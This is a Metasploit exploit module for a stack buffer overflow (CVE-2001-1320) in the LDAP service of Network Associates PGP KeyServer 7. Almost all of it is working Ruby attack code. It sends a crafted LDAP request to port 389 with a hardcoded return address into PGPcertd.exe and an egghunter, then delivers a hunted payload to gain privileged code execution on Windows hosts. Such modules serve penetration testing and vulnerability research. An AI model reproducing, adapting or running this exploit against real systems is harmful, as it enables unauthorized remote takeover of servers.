Network Associates PGP KeyServer 7 – LDAP Buffer Overflow (Metasploit)
## # $Id: pgp_keyserver7.rb 11039 2010-11-14 19:03:24Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::Egghunter def initialize(info = {}) super(update_info(info, 'Name' => 'Network Associates PGP KeyServer 7 LDAP Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in the LDAP service that is part of the NAI PGP Enterprise product suite. This module was tested against PGP KeyServer v7.0. Due to space restrictions, egghunter is used to find our payload - therefore you may wish to adjust WfsDelay. }, 'Author' => [ 'patrick' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 11039 $', 'References' => [ [ 'CVE', '2001-1320' ], [ 'OSVDB', '4742' ], [ 'BID', '3046' ], [ 'URL', 'http://www.ee.oulu.fi/research/ouspg/protos/testing/c06/ldapv3/' ], ], 'Privileged' => true, 'Payload' => { 'Space' => 450, 'BadChars' => "\x00\x0a\x0d\x20", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ ["Universal PGPcertd.exe", { 'Ret' => 0x00436b23 }], # push esp; ret PGPcertd.exe - patrick tested ok 2k/xp ], 'DisclosureDate' => 'Jul 16 2001', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(389) ], self.class) end def exploit connect # - Maximum payload space is 102 so we use EggHunter instead. # - The PAYLOAD is put inside an invalid, rejected (but hunt-able) request. hunter = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true }) egg = hunter[1] eggstart = "\x30\x82\x01\xd9\x02\x01\x01\x60\x82\x01\xd2\x02\x01\x03\x04\x82\x01\xc9" # ldapsearch sniff eggend = "\x80\x00" print_status("Sending trigger and hunter first...") buf = "\x30\xfe\x02\x01\x01\x63\x20\x04\x00\x0a\x01\x02\x0a\x01\x00\x02\x01\x00" # PROTOS suite sniff buf << [target['Ret']].pack('V') + hunter[0] buf << "\x00" sock.put(buf) disconnect connect print_status("Sending hunted payload...") sock.put(eggstart+egg+eggend) handler disconnect end end |